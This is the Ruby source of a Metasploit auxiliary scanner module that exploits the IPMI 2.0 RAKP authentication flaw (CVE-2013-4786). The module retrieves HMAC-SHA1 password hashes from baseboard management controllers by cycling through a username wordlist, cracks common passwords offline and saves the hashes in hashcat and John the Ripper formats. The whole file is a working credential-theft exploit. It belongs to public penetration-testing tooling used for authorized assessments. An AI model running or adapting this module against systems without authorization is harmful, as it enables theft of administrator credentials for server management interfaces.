Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Auxiliary::Scanner89def initialize10super(11'Name' => 'IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval',12'Description' => %q|13This module identifies IPMI 2.0-compatible systems and attempts to retrieve the14HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a15file using the OUTPUT_FILE option and then cracked using hmac_sha1_crack.rb16in the tools subdirectory as well hashcat (cpu) 0.46 or newer using type 7300.17|,18'Author' => [ 'Dan Farmer <zen[at]fish2.com>', 'hdm' ],19'License' => MSF_LICENSE,20'References' =>21[22['URL', 'http://fish2.com/ipmi/remote-pw-cracking.html'],23['URL', 'https://seclists.org/bugtraq/2014/Apr/16'], # HP's SSRT10136724['CVE', '2013-4786'],25['OSVDB', '95057'],26['BID', '61076'],27],28'DisclosureDate' => 'Jun 20 2013'29)3031register_options(32[33Opt::RPORT(623),34OptPath.new('USER_FILE', [ true, "File containing usernames, one per line",35File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_users.txt')36]),37OptPath.new('PASS_FILE', [ true, "File containing common passwords for offline cracking, one per line",38File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_passwords.txt')39]),40OptString.new('OUTPUT_HASHCAT_FILE', [false, "Save captured password hashes in hashcat format"]),41OptString.new('OUTPUT_JOHN_FILE', [false, "Save captured password hashes in john the ripper format"]),42OptBool.new('CRACK_COMMON', [true, "Automatically crack common passwords as they are obtained", true]),43OptInt.new('SESSION_RETRY_DELAY', [true, "Delay between session retries in seconds", 5]),44OptInt.new('SESSION_MAX_ATTEMPTS', [true, "Maximum number of session retries, required on certain BMCs (HP iLO 4, etc)", 5])45])4647end4849def post_auth?50true51end5253def ipmi_status(msg)54vprint_status("#{rhost}:#{rport} - IPMI - #{msg}")55end5657def ipmi_error(msg)58vprint_error("#{rhost}:#{rport} - IPMI - #{msg}")59end6061def ipmi_good(msg)62print_good("#{rhost}:#{rport} - IPMI - #{msg}")63end6465def run_host(ip)6667ipmi_status("Sending IPMI probes")6869usernames = []70passwords = []7172# Load up our username list (save on open fds)73::File.open(datastore['USER_FILE'], "rb") do |fd|74fd.each_line do |line|75usernames << line.strip76end77end78usernames << ""79usernames = usernames.uniq8081# Load up our password list (save on open fds)82::File.open(datastore['PASS_FILE'], "rb") do |fd|83fd.each_line do |line|84passwords << line.gsub(/\r?\n?/, '')85end86end87passwords << ""88passwords = passwords.uniq8990delay_value = datastore['SESSION_RETRY_DELAY'].to_i91max_session_attempts = datastore['SESSION_MAX_ATTEMPTS'].to_i9293self.udp_sock = Rex::Socket::Udp.create({'Context' => {'Msf' => framework, 'MsfExploit' => self}})94add_socket(self.udp_sock)9596reported_vuln = false97session_succeeded = false9899usernames.each do |username|100console_session_id = Rex::Text.rand_text(4)101console_random_id = Rex::Text.rand_text(16)102103ipmi_status("Trying username '#{username}'...")104105rakp = nil106sess = nil107sess_data = nil108109# It may take multiple tries to get a working "session" on certain BMCs (HP iLO 4, etc)1101.upto(max_session_attempts) do |attempt|111112r = nil1131.upto(3) do114udp_send(Rex::Proto::IPMI::Utils.create_ipmi_session_open_request(console_session_id))115r = udp_recv(5.0)116break if r117end118119unless r120ipmi_status("No response to IPMI open session request")121rakp = nil122break123end124125sess = process_opensession_reply(*r)126unless sess127ipmi_status("Could not understand the response to the open session request")128rakp = nil129break130end131132if sess.data.length < 8133ipmi_status("Refused IPMI open session request, waiting #{delay_value} seconds")134rakp = nil135sleep(delay_value) if session_succeeded136next # break137end138139session_succeeded = true140141sess_data = Rex::Proto::IPMI::Session_Data.new.read(sess.data)142143r = nil1441.upto(3) do145udp_send(Rex::Proto::IPMI::Utils.create_ipmi_rakp_1(sess_data.bmc_session_id, console_random_id, username))146r = udp_recv(5.0)147break if r148end149150unless r151ipmi_status("No response to RAKP1 message")152next153end154155rakp = process_rakp1_reply(*r)156unless rakp157ipmi_status("Could not understand the response to the RAKP1 request")158rakp = nil159break160end161162# Sleep and retry on session ID errors163if rakp.error_code == 2164ipmi_error("Returned a Session ID error for username #{username} on attempt #{attempt}")165Rex.sleep(1)166next167end168169if rakp.error_code != 0170ipmi_error("Returned error code #{rakp.error_code} for username #{username}: #{Rex::Proto::IPMI::RMCP_ERRORS[rakp.error_code].to_s}")171rakp = nil172break173end174175# TODO: Finish documenting this error field176if rakp.ignored1 != 0177ipmi_error("Returned error code #{rakp.ignored1} for username #{username}")178rakp = nil179break180end181182# Check if there is hash data183if rakp.data.length < 56184rakp = nil185break186end187188# Break out of the session retry code if we make it here189break190end191192# Skip to the next user if we didnt get a valid response193next if !rakp194195# Calculate the salt used in the hmac-sha1 hash196rakp_data = Rex::Proto::IPMI::RAKP2_Data.new.read(rakp.data)197hmac_buffer = Rex::Proto::IPMI::Utils.create_rakp_hmac_sha1_salt(198console_session_id,199sess_data.bmc_session_id,200console_random_id,201rakp_data.bmc_random_id,202rakp_data.bmc_guid,2030x14,204username205)206207sha1_salt = hmac_buffer.unpack("H*")[0]208sha1_hash = rakp_data.hmac_sha1.unpack("H*")[0]209210if sha1_hash == "0000000000000000000000000000000000000000"211ipmi_error("Returned a bogus SHA1 hash for username #{username}")212next213end214215ipmi_good("Hash found: #{username}:#{sha1_salt}:#{sha1_hash}")216217write_output_files(rhost, username, sha1_salt, sha1_hash)218219# Write the rakp hash to the database220hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}"221core_id = report_hash(username, hash)222# Write the vulnerability to the database223unless reported_vuln224report_vuln(225:host => rhost,226:port => rport,227:proto => 'udp',228:sname => 'ipmi',229:name => 'IPMI 2.0 RMCP+ Authentication Password Hash Exposure',230:info => "Obtained password hash for user #{username}: #{sha1_salt}:#{sha1_hash}",231:refs => self.references232)233reported_vuln = true234end235236# Offline crack common passwords and report clear-text credentials237next unless datastore['CRACK_COMMON']238239passwords.uniq.each do |pass|240pass = pass.strip241next unless pass.length > 0242next unless Rex::Proto::IPMI::Utils.verify_rakp_hmac_sha1(hmac_buffer, rakp_data.hmac_sha1, pass)243ipmi_good("Hash for user '#{username}' matches password '#{pass}'")244245# Report the clear-text credential to the database246report_cracked_cred(username, pass, core_id)247break248end249end250end251252def process_opensession_reply(data, shost, sport)253shost = shost.sub(/^::ffff:/, '')254info = Rex::Proto::IPMI::Open_Session_Reply.new.read(data) rescue nil255return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RMCPPLUSOPEN_REP256info257end258259def process_rakp1_reply(data, shost, sport)260shost = shost.sub(/^::ffff:/, '')261info = Rex::Proto::IPMI::RAKP2.new.read(data) rescue nil262return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RAKP2263info264end265266267def write_output_files(rhost, username, sha1_salt, sha1_hash)268if datastore['OUTPUT_HASHCAT_FILE']269::File.open(datastore['OUTPUT_HASHCAT_FILE'], "ab") do |fd|270fd.write("#{rhost} #{username}:#{sha1_salt}:#{sha1_hash}\n")271fd.flush272end273end274275if datastore['OUTPUT_JOHN_FILE']276::File.open(datastore['OUTPUT_JOHN_FILE'], "ab") do |fd|277fd.write("#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}\n")278fd.flush279end280end281end282283def service_data284{285address: rhost,286port: rport,287service_name: 'ipmi',288protocol: 'udp',289workspace_id: myworkspace_id290}291end292293def report_hash(user, hash)294credential_data = {295module_fullname: self.fullname,296origin_type: :service,297private_data: hash,298private_type: :nonreplayable_hash,299jtr_format: 'rakp',300username: user,301}.merge(service_data)302303login_data = {304core: create_credential(credential_data),305status: Metasploit::Model::Login::Status::UNTRIED306}.merge(service_data)307308cl = create_credential_login(login_data)309cl ? cl.core_id : nil310end311312def report_cracked_cred(user, password, core_id)313cred_data = {314core_id: core_id,315username: user,316password: password317}318319create_cracked_credential(cred_data)320end321322#323# Helper methods (these didn't quite fit with existing mixins)324#325326attr_accessor :udp_sock327328def udp_send(data)329begin330udp_sock.sendto(data, rhost, datastore['RPORT'], 0)331rescue ::Interrupt332raise $!333rescue ::Exception334end335end336337def udp_recv(timeo)338r = udp_sock.recvfrom(65535, timeo)339r[1] ? r : nil340end341342def rhost343datastore['RHOST']344end345346def rport347datastore['RPORT']348end349end350351352